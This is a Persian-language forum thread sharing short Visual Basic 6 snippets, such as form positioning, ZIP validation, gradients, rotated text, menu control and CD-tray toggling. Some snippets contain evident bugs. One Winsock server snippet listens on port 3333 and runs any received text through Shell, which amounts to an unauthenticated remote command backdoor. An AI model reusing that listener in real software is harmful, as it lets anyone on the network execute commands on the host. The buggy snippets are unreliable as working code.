سورس کدهای ویژوال بیسیک 6

بازدید177.7kپست ها136آخرین فعالیت10 سال پیش
0

Task: Code makes it so that a form cannot go off the screen.

[CSHARP]Public Sub FormMove(frm As Form)
'Makes it where your form cant go off the screen
ReleaseCapture
SendMessage frm.hwnd, &H112, &HF012, 0
frm.Refresh
If frm.Left < 0 Then 'left side of screen
frm.Left = 0
If frm.Top < 0 Then
frm.Top = 0
ElseIf frm.Top > Screen.Height - frm.Height Then
frm.Top = Screen.Height - frm.Height
End If
ElseIf frm.Top < 0 Then 'top of screen
frm.Top = 0
If frm.Left < 0 Then
frm.Top = 0
ElseIf frm.Left > Screen.Width - frm.Width Then
Timer1.Enabled = True
frm.Left = Screen.Width - frm.Width
End If
ElseIf frm.Left > Screen.Width - frm.Width Then 'right of screen
frm.Left = Screen.Width - frm.Width
If frm.Top < 0 Then
frm.Top = 0
ElseIf frm.Top > Screen.Height - frm.Height Then
frm.Top = Screen.Height - frm.Height
End If
ElseIf frm.Top > Screen.Height - frm.Height Then 'bottom of screen
frm.Top = Screen.Height - frm.Height
If frm.Left < 0 Then
frm.Top = 0
ElseIf frm.Left > Screen.Width - frm.Width Then
frm.Left = Screen.Width - frm.Width
End If
End If
End Sub[/CSHARP]

0

Task: Validates ZIP code

Public Function ValidateZIP(strZIP As String) As Boolean
' Purpose: Checks to see if strZIP is in the format of a valid ZIP code.
' In: strZIP - Candidate ZIP code
' Out:
' Returns:      True - if strZIP is in the format of a valid ZIP code
'               False - if it is not
' Date: 1/16/2000
' Programmer: Speed Demon
' Last Modified:
' Notes: ZIP codes can be in the form 'xxxxx' or 'xxxxx-xxxx' where x is numeric.

    ' Assume it is a valid zip
    ValidateZIP = True
    
    Select Case Len(strZIP)
        Case 5      ' xxxxx
            If Not IsNumeric(strZIP) Then ValidateZIP = False
        Case 10     ' xxxxx-xxxx
            If Not IsNumeric(Left$(strZIP, 5)) _
            Or Not IsNumeric(Right$(strZIP, 4)) _
            Or Mid$(strZIP, 6, 1) <> "-" Then ValidateZIP = False
        Case Else   ' strZIP does not contain the right number of characters.
            ValidateZIP = False
    End Select
End Function
0
1. Place a TreeView control on your form and add few nodes to it naming them
   as whatever you want.
2. Place a TextBox controls.
3. One command button.

'Put this code into the command button.
Private Sub Command1_Click()
    Dim NodX As Node

        For Each NodX In tvwDB.Nodes
            If NodX.Text = UCase(Text1.Text) Then
                lNod = NodX
                NodX.Selected = True
                TreeView1.SetFocus                
            End If
        Next
End Sub

'Now enter a Node name in the text box and hit the Command1 button.
'E-Mail me and tell me what you think of it or if u have any questions.
0

Task: Finds all the matching files in the directory and adds them into the ListBox.

Private Sub Command1_Click()
Dim FileFinder

        FileFinder = Dir("c:\winnt\System\*.dll") 'Where to look for.
            Do Until FileFinder = ""
                List1.AddItem FileFinder
                FileFinder = Dir
            Loop
End Sub
0

GENERAL

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

COMMAND1

ShellExecute hwnd, "open", "http://softafzar.net/", vbNullString, vbNullString, conSwNormal

FORM

Command1.Caption = "GO !"
0

با این کد میتونید متن خودتون رو در msg به صورت زیر هم بنویسید

MsgBox ("sector" + vbCrLf + "softafzar" + vbCrLf + "meego")

0
How to Make Gradients

This code will draw a gradient on either a form or picturebox or possibly anything that has an hDC property.

Just call the DrawGradient Procedure and pass it these values:
lDestHDC - The hDC of the object you want to draw to
lDestWidth - The Width of the Gradient
lDestHeight - The Height of the Gradient
lStartColor - The color the gradient starts out with
lEndColor - The color the gradient ends up with
iStyle - 0 for left to right gradient or 1 for top to bottom gradient.

Create a new module and insert this code

Type RECT
   Left As Long
   Top As Long
   Right As Long
   Bottom As Long
End Type

Declare Function CreateSolidBrush Lib "gdi32" _
  (ByVal crColor As Long) As Long

Declare Function DeleteObject Lib "gdi32" _
  (ByVal hObject As Long) As Long

Declare Function FillRect Lib "user32" _
  (ByVal hDC As Long, lpRect As RECT, _
  ByVal hBrush As Long) As Long

Public Sub DrawGradient(lDestHDC As Long, _
  lDestWidth As Long, lDestHeight As Long, _
  lStartColor As Long, lEndColor As Long, _
  iStyle As Integer)

   Dim udtRect As RECT

   Dim iBlueStart As Integer
   Dim iBlueEnd As Integer
   Dim iRedStart As Integer
   Dim iRedEnd As Integer
   Dim iGreenStart As Integer
   Dim iGreenEnd As Integer

   Dim hBrush As Long

   On Error Resume Next

   'Calculate the beginning colors
   iBlueStart = Int(lStartColor / &H10000)
   iGreenStart = Int(lStartColor - (iBlueStart * &H10000)) \ _
         CLng(&H100)
   iRedStart = lStartColor - (iBlueStart * &H10000) - _
         CLng(iGreenStart * CLng(&H100))

   'Calculate the End colors
   iBlueEnd = Int(lEndColor / &H10000)
   iGreenEnd = Int(lEndColor - (iBlueEnd * &H10000)) \ CLng(&H100)
   iRedEnd = lEndColor - (iBlueEnd * &H10000) - _
         CLng(iGreenEnd * CLng(&H100))

   Const intBANDWIDTH = 1

   Dim sngBlueCur As Single
   Dim sngBlueStep As Single
   Dim sngGreenCur As Single
   Dim sngGreenStep As Single
   Dim sngRedCur As Single
   Dim sngRedStep As Single

   Dim iHeight As Integer
   Dim iWidth As Integer
   Dim intY As Integer
   Dim iDrawEnd As Integer

   Dim lReturn As Long

   iHeight = lDestHeight
   iWidth = lDestWidth

   sngBlueCur = iBlueStart
   sngGreenCur = iGreenStart
   sngRedCur = iRedStart

   'Calculate the size of the color bars
   If iStyle = 0 Then
      sngBlueStep = intBANDWIDTH * _
         (iBlueEnd - iBlueStart) / (iWidth - 60) * 15
      sngGreenStep = intBANDWIDTH * _
         (iGreenEnd - iGreenStart) / (iWidth - 60) * 15
      sngRedStep = intBANDWIDTH * _
         (iRedEnd - iRedStart) / (iWidth - 60) * 15
      With udtRect
         .Left = 0
         .Top = 0
         .Right = intBANDWIDTH + 2
         .Bottom = iHeight / 15 - 2
      End With
      iDrawEnd = iWidth
   ElseIf iStyle = 1 Then
      sngBlueStep = intBANDWIDTH * _
         (iBlueEnd - iBlueStart) / (iHeight - 60) * 15
      sngGreenStep = intBANDWIDTH * _
         (iGreenEnd - iGreenStart) / (iHeight - 60) * 15
      sngRedStep = intBANDWIDTH * _
         (iRedEnd - iRedStart) / (iHeight - 60) * 15
      With udtRect
         .Left = 0
         .Top = 0
         .Right = iWidth / 15 - 2
         .Bottom = intBANDWIDTH + 2
      End With
      iDrawEnd = iHeight
   End If

   'Draw the Gradient
   For intY = 0 To (iDrawEnd / 15) - 5 Step intBANDWIDTH
      hBrush = CreateSolidBrush(RGB(sngRedCur, sngGreenCur, sngBlueCur))
      lReturn = FillRect(lDestHDC, udtRect, hBrush)

      lReturn = DeleteObject(hBrush)
      sngBlueCur = sngBlueCur + sngBlueStep
      sngGreenCur = sngGreenCur + sngGreenStep
      sngRedCur = sngRedCur + sngRedStep
      If iStyle = 0 Then
         udtRect.Left = udtRect.Left + intBANDWIDTH
         udtRect.Right = udtRect.Right + intBANDWIDTH
      ElseIf iStyle = 1 Then
         udtRect.Top = udtRect.Top + intBANDWIDTH
         udtRect.Bottom = udtRect.Bottom + intBANDWIDTH
      End If
   Next
End Sub    
'--end code block
In the Form load event place this code Set Autoredraw to true to reduce flickering while resizing the form.

Me.AutoRedraw = True
DrawGradient Me.hDC, Me.Width, Me.Height, vbBlue, vbRed, 0  
'--end code block
In the Form resize event place this code

Cls
DrawGradient Me.hDC, Me.Width, Me.Height, vbBlue, vbRed, 0  
'--end code block
0

با این کد میتونی  چرخش فونت زیبای درست کنید

Private Declare Function CreateFontIndirect Lib "gdi32" Alias "CreateFontIndirectA" (lpLogFont As LOGFONT) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Const LF_FACESIZE = 32
Private Type LOGFONT
    lfHeight As Long
    lfWidth As Long
    lfEscapement As Long
    lfOrientation As Long
    lfWeight As Long
    lfItalic As Byte
    lfUnderline As Byte
    lfStrikeOut As Byte
    lfCharSet As Byte
    lfOutPrecision As Byte
    lfClipPrecision As Byte
    lfQuality As Byte
    lfPitchAndFamily As Byte
    lfFaceName(LF_FACESIZE) As Byte
End Type
Dim I As Long
Dim RotateMe As LOGFONT
Private Sub Form_Load()
    Me.AutoRedraw = True
End Sub
Private Sub Timer1_Timer()
    Deg = 80
    Size = 15
    I = I + 1
    RotateMe.lfEscapement = Deg * I
    RotateMe.lfHeight = -20  '(size * -20) / Screen.TwipsPerPixelY
    'RotateMe.lfUnderline = 1
    'RotateMe.lfItalic = 1
    'RotateMe.lfWidth = 10
    Rfont = CreateFontIndirect(RotateMe)
    Curent = SelectObject(Me.hdc, Rfont)
    Me.CurrentX = 2500
    Me.CurrentY = 2000
    Me.ForeColor = vbBlue
    Me.Print "Visual Basic"
End Sub
0

ماژول

Option Explicit
' Used to get menu information.
Private Type MENUITEMINFO
    cbSize As Long
    fMask As Long
    fType As Long
    fState As Long
    wID As Long
    hSubMenu As Long
    hbmpChecked As Long
    hbmpUnchecked As Long
    dwItemData As Long
    dwTypeData As String
    cch As Long
End Type
 
' Menu information constants.
Private Const MIIM_STATE As Long = &H1
Private Const MIIM_ID As Long = &H2
Private Const MIIM_SUBMENU As Long = &H4
Private Const MIIM_CHECKMARKS As Long = &H8
Private Const MIIM_TYPE As Long = &H10
Private Const MIIM_DATA As Long = &H20
 
' System menu command values commonly used by VB.
Private Const SC_SIZE = &HF000&
Private Const SC_MOVE = &HF010&
Private Const SC_MINIMIZE = &HF020&
Private Const SC_MAXIMIZE = &HF030&
Private Const SC_CLOSE = &HF060&
Private Const SC_RESTORE = &HF120&
 
' Enumerated sysmenu items.
Public Enum SysMenuItems
   smRestore = SC_RESTORE
   smMove = SC_MOVE
   smSize = SC_SIZE
   smMinimize = SC_MINIMIZE
   smMaximize = SC_MAXIMIZE
   smClose = SC_CLOSE
End Enum
 
' Used to select which menu to remove.
Private Const MF_BYCOMMAND = &H0&
Private Const MF_BYPOSITION = &H400
 
' Toggles enabled state of menu item.
Private Const MF_ENABLED = &H0&
Private Const MF_GRAYED = &H1&
Private Const MF_DISABLED = &H2&
 
Private Declare Function GetSystemMenu Lib "user32" (ByVal hWnd As _
 Long, ByVal revert As Long) As Long
Private Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu _
 As Long) As Long
Private Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As _
 Long, ByVal nPos As Long) As Long
Private Declare Function GetMenuItemInfo Lib "user32" Alias _
 "GetMenuItemInfoA" (ByVal hMenu As Long, ByVal un As Long, _
 ByVal b As Long, lpMenuItemInfo As MENUITEMINFO) As Long
Private Declare Function SetMenuItemInfo Lib "user32" Alias _
 "SetMenuItemInfoA" (ByVal hMenu As Long, ByVal un As Long, _
ByVal bool As Long, lpcMenuItemInfo As MENUITEMINFO) As Long
 
Private Function GetMenuItemPosition(frm As Form, _
 ByVal MenuItem As SysMenuItems) As Long
   Dim hMenu As Long
   Dim ID As Long
   Dim i As Long
   Const HighBit As Long = &H8000&
    
   ' Default to returning -1 in case of
   ' failure, since menu is 0-based.
   GetMenuItemPosition = -1
    
   ' Retrieve handle to system menu.
   hMenu = GetSystemMenu(frm.hWnd, False)
 
   ' Loop through system menu, scanning
   ' for requested standard menu item.
   For i = 0 To GetMenuItemCount(hMenu) - 1
      ID = GetMenuItemID(hMenu, i)
      If ID = MenuItem Then
         ' Return position of normal
         ' enabled menu item.
         GetMenuItemPosition = i
         Exit For
      ElseIf ID = (MenuItem And Not HighBit) Then
         ' This item is disabled.
         ' Return position and alter
         ' MenuItem with new ID.
         MenuItem = ID
         GetMenuItemPosition = i
         Exit For
      End If
   Next i
End Function
 
Public Sub EnableMenuItem(frm As Form, _
       ByVal MenuItem As SysMenuItems, _
       Optional ByVal Enabled As Boolean = True)
   ' This routine is automatically called whenever the
   ' MinButton, MaxButton, or Movable properties are
   ' set.
   Dim hMenu As Long
   Dim nPosition As Long
   Dim uFlags As Long
   Dim mii As MENUITEMINFO
   Const HighBit As Long = &H8000&
    
   ' Retrieve handle to system menu.
   hMenu = GetSystemMenu(frm.hWnd, False)
    
   ' Translate ID to position.
   nPosition = GetMenuItemPosition(frm, MenuItem)
   If nPosition >= 0 Then
    
      ' Initialize structure.
      mii.cbSize = Len(mii)
      mii.fMask = MIIM_STATE Or MIIM_ID Or MIIM_DATA Or MIIM_TYPE
      mii.dwTypeData = String$(80, 0)
      mii.cch = Len(mii.dwTypeData)
      Call GetMenuItemInfo(hMenu, nPosition, MF_BYPOSITION, mii)
       
      ' Set appropriate state.
      If Enabled Then
         mii.fState = MF_ENABLED
      Else
         mii.fState = MF_GRAYED
      End If
    
      ' New ID uses highbit to signify that
      ' the menu item is enabled.
      If Enabled Then
         mii.wID = MenuItem
      Else
         mii.wID = MenuItem And Not HighBit
      End If
    
      ' Modify the menu!
      mii.fMask = MIIM_STATE Or MIIM_ID
      Call SetMenuItemInfo(hMenu, nPosition, MF_BYPOSITION, mii)
   End If
End Sub

 
Public Sub setMoveable(frm As Form, ByVal Value As Boolean)
   ' Toggle SC_MOVE menu appropriately.
   Call EnableMenuItem(frm, smMove, Value)
End Sub
0
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
 Private Sub Command1_Click()
Label1 = Label1 + 1
If Label1 = 3 Then Label1 = 1
If Label1 = 2 Then
mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0&
 Else
mciSendString "Set CDAudio Door Closed Wait", 0&, 0&, 0&
End If
If Label1 = 1 Then
Command1.Caption = "Click to open DVD ROM\RW"
 Else
 Command1.Caption = "Click to close DVD ROM\RW"
 End If
End Sub
Private Sub Command2_Click()
End
End Sub
0
Private Const AW_HOR_HOSTIVE = &H1
Private Const AW_VER_NEGATIVE = &H8
Private Declare Function AnimateWindow Lib "user32" (ByVal hwnd As Long, ByVal dwtime As Long, ByVal dwflags As Long) As Boolean
Private Sub Command1_Click()
AnimateWindow Text1.hwnd, 2000, AW_VER_NEGATIVE
End Sub
Private Sub Form_Load()
Text1.Visible = False
AnimateWindow Me.hwnd, 2000, AW_HOR_HOSTIVE
End Sub
0

سلام دوستان اینم سورس textrotate
اگه نمیدونید چیه کارش پس حتما تست کنید تا ببینید

Private Declare Function CreateFontIndirect Lib "gdi32" Alias "CreateFontIndirectA" (lpLogFont As LOGFONT) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Const LF_FACESIZE = 32
Private Type LOGFONT
    lfHeight As Long
    lfWidth As Long
    lfEscapement As Long
    lfOrientation As Long
    lfWeight As Long
    lfItalic As Byte
    lfUnderline As Byte
    lfStrikeOut As Byte
    lfCharSet As Byte
    lfOutPrecision As Byte
    lfClipPrecision As Byte
    lfQuality As Byte
    lfPitchAndFamily As Byte
    lfFaceName(LF_FACESIZE) As Byte
End Type
Dim I As Long
Dim RotateMe As LOGFONT
Private Sub Form_Load()
    Me.AutoRedraw = True
End Sub
Private Sub Timer1_Timer()
    Deg = 80
    Size = 15
    I = I + 1
    RotateMe.lfEscapement = Deg * I
    RotateMe.lfHeight = -20  '(size * -20) / Screen.TwipsPerPixelY
    'RotateMe.lfUnderline = 1
    'RotateMe.lfItalic = 1
    'RotateMe.lfWidth = 10
    Rfont = CreateFontIndirect(RotateMe)
    Curent = SelectObject(Me.hdc, Rfont)
    Me.CurrentX = 2500
    Me.CurrentY = 2000
    Me.ForeColor = vbBlue
    Me.Print "SoftAfzar"
End Sub
0
Private Sub Command1_Click()
Winsock1.RemotePort = 3333
Winsock1.RemoteHost = Text2.Text
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.SendData Text1.Text
End Sub

Private Sub Form_Load()
If Winsock1.State <> sckClosed Then Winsock1.Close
End Sub

Private Sub Winsock1_Connect()
MsgBox ("connect")
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox ("lol")
End Sub
0
Private Sub Form_Load()
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.LocalPort = 3333
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
Shell data, vbNormalFocus
End Sub
0
**Task**: Custom Button

CODE:

Private Sub Form_Load()
imgmain.Picture = Imgup.Picture
End Sub

Private Sub imgmain_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
imgmain.Picture = imgdown.Picture
End Sub

Private Sub imgmain_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
imgmain.Picture = Imgup.Picture
End Sub
0
**[b]Task**: Change the font of a textbox by selecting all avalible fonts in a list box[/b]

CODE:

Private Sub Form_Load()
For Font = 1 To Screen.FontCount
    Font_List.AddItem Screen.Fonts(Font)
Next I
End Sub

Private Sub List1_Click()
Text1.Font = List1.Text
End Sub
0
**Task**: Finding real roots of quadratic equation.

CODE:

'-------To find Real Roots of a Quadratic Eqaution--------------'

Private Type QuaEqu
    x1 As Double
    x2 As Double
End Type

Dim d As Double

Private Function RootsOfQuaEqu(ByVal a As Single, ByVal b As Single, ByVal c As Single) As QuaEqu
    d = (b * b - 4 * a * c)
    If d < 0 Then
        MsgBox "Roots are Imaginary"
        Exit Function
    End If
    RootsOfQuaEqu.x1 = (-b + Sqr(d)) / (2 * a)
    RootsOfQuaEqu.x2 = (-b - Sqr(d)) / (2 * a)
End Function

سوال برنامه نویسی دارید؟

ندونستن عیب نیست، نپرسیدن چرا!

خوش آمدید

برای طرح سوال، ایجاد بحث و فعالیت در سایت نیاز است ابتدا وارد حساب کاربری خود شوید. در صورتی که هنوز عضو سایت نیستید میتوانید در عرض تنها چند ثانیه ثبت نام کنید.